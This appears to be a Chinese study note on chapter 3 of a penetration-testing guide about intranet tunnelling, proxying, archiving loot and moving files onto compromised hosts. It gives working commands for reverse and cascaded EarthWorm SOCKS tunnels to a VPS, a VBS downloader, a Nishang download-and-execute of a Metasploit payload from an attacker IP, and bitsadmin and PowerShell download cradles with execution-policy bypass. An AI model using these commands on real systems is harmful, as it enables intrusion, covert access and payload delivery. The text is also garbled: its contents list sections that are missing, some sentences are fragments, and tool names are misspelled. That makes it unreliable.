内网安全攻防:渗透测试指南——第3章 隐藏通信隧道技术


第三章——隐藏通信隧道技术

目录

 

1.网络层隧道

1.pingtunnel

1.在web边界服务器上下载并运行ptunnel

2.在vps上运行ptunnel

3.在win7电脑上远程连接vps的1080端口

2.icmpsh

3.防御ICMP隧道攻击的方法

2.传输层隧道

1.lcx端口转发

2. nc

3.powercat

1.nc正向连接powercat

2.nc反向连接powercat

3.通过powercat返回powershell

4.Powercat文件传输

5.powercat生成Payload(躲避杀软)

6.Powercat - DNS协议(DNSCAT)

7.Powercat作为跳板

3.应用层协议

1.本地转发

2.远程转发(无边界设备,服务器kali连通外网)

3.动态转发

HTTP/HTTPS协议

DNS协议

dnscat2

1.启动服务端

2.在目标系统运行客户端

3.脚本加载运行dnscat2-powershell

4.反弹shell

iodine

1.vps服务端

2.linux客户端

3.windows客户端

DNS隧道攻击的防御

SOCKS代理

 

1. EarthWorm

1.正向SOCKS5服务器

2.反弹SOCKS v5服务器

3.二级网络环境a

4.二级网络环境b

压缩

1.RAR

7zip

上传和下载

1.利用FTP协议上传

2.利用VBS上传

3.利用nishang上传

4.bitadmin下载

5.powershell下载


nc

  1.   A.安装LINUX:
  2.   sudo yum install nc.x86_64
  3.   wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
  4.    
  5.   WINDOwsS:
  6.   Nc:https://joncraton.org/files/nc111nt.zip
  7.   Nc_safe:https://joncraton.org/files/nc111nt_safe.zip

监听-个服 务端口,当有新的连接请求

出现时,会先从SOCKS协议中解析出目标的URL和目标端口,再执行lex的具体功能。

 

1. EarthWorm


EarthWorm(EW )是一套便携式的网络工具,具有SOCKSs服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透。EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统( Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。6种命令格式(ssocksd、 rcsocks. rssocks. Icx_ slave、 Icx_ listen、 Icx_ tran)

1.正向SOCKS5服务器

  1.   ┌──(root??kali)-[/var/www/html/release]
  2.   └─# ./ew_linux_x64 -s ssocksd -l 1090 #适用于一个有外网IP的情况,此处使用边界服务器

 

2.反弹SOCKS v5服务器
 

  1.   vps: C:\>ew_win32.exe -s rcsocks -l 1008 -e 888
  2.   内网机器: ew -s rssocks -d vpsip -e 888

 

3.二级网络环境a

  1.   内网中的机器B: ew -s ssocksd -l 888
  2.   边界服务器A: ew -s lcx_tran -l 1080 -f A主机公网ip -g 888 #将1080端口收到的代理请求转发给内网中的机器B888端口

 

4.二级网络环境b

  1.   A主机无公网ip,也无法访问内网。B主机可以访问内网,无法访问外网
  2.    
  3.   VPS: ew -s lcx_listen -l 1080 -e 888 #在公网vps中添加转接隧道,将1080端口接收到的请求转发给888端口
  4.    
  5.   主机B: ew -s ssocked -l 999 #ssocked方式启动999端口的socks代理
  6.    
  7.   主机A: ew -s lcx_slave -d vpsip -e 888 -f A主机IP -g 999 #在A主机上利用lcx_slave方式,将vps的888端口和B主机的999端口连接起来


2.reGeorg
rcGcorg 是reDuh的升级版,主要功能是把内网服务器的端口通过HTPHITS隧道转发到本机,形成一个回路。reCorg 可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。rcGcorg 利用WstSll建立一个SOCKS代理进行内网穿透,服务必须支持ASPX、PHP、JSP中的一种。

3. sSocks
sSocks是个SOCKS代理工具套装,可用来开启soCKs代理服务。sokes支持SOCKS5验证,支持IPv6和UDP,并提供反向soCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)。

4. SocksCap64
SocksCap64是一款在 Windows环境中相当好用的全局代理软件,SocksCap64可以使Windows应用程序通过SOCKS 代理服务器来访问网络,而不需要对这些应用SOKS 代理的应用程序,也可以通过SoksCap64程序进行任何修改。即使是那些本身不支持实现代理访问

5. Proxifier
Provifer也是一软非常好用的全局代理软件,Posifir 提供了跨平台的转发和代理功能,适用于Windows、Linux、 MacOS平台
6. ProxyChains
ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器

 

压缩

1.RAR

  1.   -a: 添加要压缩的文件
  2.   -k: 锁定压缩文件
  3.   -s: 生成存档文件(这样可以提高压缩比)。
  4.   -P: 指定压缩密码。
  5.   -r: 递归压缩,包括子目录。
  6.   -x: 指定要排除的文件。
  7.   -v: 分卷打包,在打包大文件时用处很大。
  8.   -ep: 从名称中排除路径。
  9.   -epl: 从名称中排除基本目录。
  10.   -m0: 存储,添加到压缩文件时不压缩文件。
  11.   -ml: 最快,使用最快压缩方式(低压缩比)。
  12.   -m2: 较快,使用快速压缩方式。
  13.   -m3: 标准,使用标准压缩方式(默认)。
  14.   -m: 较好,使用较强压缩方式(速度较慢)。
  15.   -m5: 最好,使用最强压缩方式(最好的压缩方式,但速度最慢)。

1.以RAR格式压缩/解压

将E:\webs\ 目录下的所有内容(包括子目录)打包为1.rar,放到E:\webs\目录

  1.   Rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs
  2.   Rar.exe e E:\webs\1.rar
  3.   e:解压到当前目录下
  4.   x:以绝对路径解压
  5.   zip同理

2.分卷压缩/解压

  1.   Rar.exe a -m0 -r -v20m E:\test.rar E:\API
  2.   分卷压缩E盘API目录下的所有文件及文件夹(-r使用递归压缩)设置每个分卷为20MB,结构为test.part1.rar...
  3.    
  4.    
  5.   Rar.exe x E:\test.part01.rar E:\test #解压

7zip
 

  1.   -r 递归压缩
  2.   -o 指定输出目录
  3.   -p 指定密码
  4.   -v 分卷压缩
  5.   a 添加压缩文件

1.普通压缩/解压方式

  1.   7z.exe a -r -p12345 E:\webs\1.7z E:\webs #压缩
  2.   7z.exe x -p12345 E:\webs\1.7z -oE:\X

2.分卷压缩

  1.   7z.exe -r -vlm -padmin a E:\test.7z E:\API
  2.   7z.exe x -padmin E:\test.7z.001 -oE:\x

上传和下载

1.利用FTP协议上传

  1.   本地或者vps搭建ftp服务器
  2.    
  3.   常用的FTP命令列举如下,
  4.   open<服务器地址>:连接服务器
  5.    
  6.   cd<目录名>:进入指定目录。
  7.   lcd<文件夹路径>:定位本地文件夹(上传文件的位置或者下载文件的本地位置)。
  8.   type:查看当前的传输方式(默认为ASCII码传输)。
  9.   ascil:设置传输方式为ASCII码传输(传输TXT等格式的文件)。
  10.   binary:设置传输方式为二进制传输(传输EXE文件,以及图片、视音频文件等)。
  11.   close:结束与服务器的FTP会话。
  12.   quit:结束与服务器的FTP会话并退出FTP环境。
  13.   put<文件名> [newnamel:上传。"newname"为保存时的新名字,若不指定将以原名保存。
  14.   send<文件名> [newname]:上传。"newname为保存时的新名字.若不指定将以原名保存。
  15.   get<文件名> [newname]:下载。newname为保存时的新名字,若不指定将以原名保存。
  16.   mget filename filename..]:.下载多个文件。mget 命令支持空格和“?”两个通配符,例如“mget.mp3”表示下载FTP服务器当前目录下所有扩展名为“mp3”的文件

 

2.利用VBS上传

  1.   echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
  2.   echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
  3.   echo Post.Open "GET","ip/文件",0 >>download.vbs
  4.   echo Post.Send() >>download.vbs
  5.   echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
  6.   echo aGet.Mode = 3 >>download.vbs
  7.   echo aGet.Type = 1 >>download.vbs
  8.   echo aGet.Open() >>download.vbs
  9.   echo aGet.Write(Post.responseBody) >>download.vbs
  10.   echo aGet.SaveToFile " 下载到的位置",2 >>download.vbs
  11.    
  12.   最后
  13.   Cscript download.vbs

 

3.利用nishang上传

Download Excule是Nishang中的下载执行脚本,常用于下载文本文件并将其转换为EXE文件。使用Nishang上传文件的原理是:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download Exccute脚本下载文本文件并将其转换为EXE文件。
在这里,需要使用echo命令将Nishang PowersShell脚本的内容上传到目标服务器中,并将执行以下命令,利用Nishang中的exetolext.psl脚本将由Metasploit生成的msf.exe修改为文本文件msf.txt

.\ ExetoText c: msf.exe c: msf.txt
 


接着,通过echo命令,先将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。最,输人如下命令,调用Dowlad Excule脚本下载并执行该文本文件。
 

Download_Execute http://192.168.0.11/msf.txt
 

 

4.bitadmin下载

bitsadmin /transfer 111 ip/file 下载到的路径    #win7以上版本
 

 

5.powershell下载

powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('ip/文件','下载文件路径');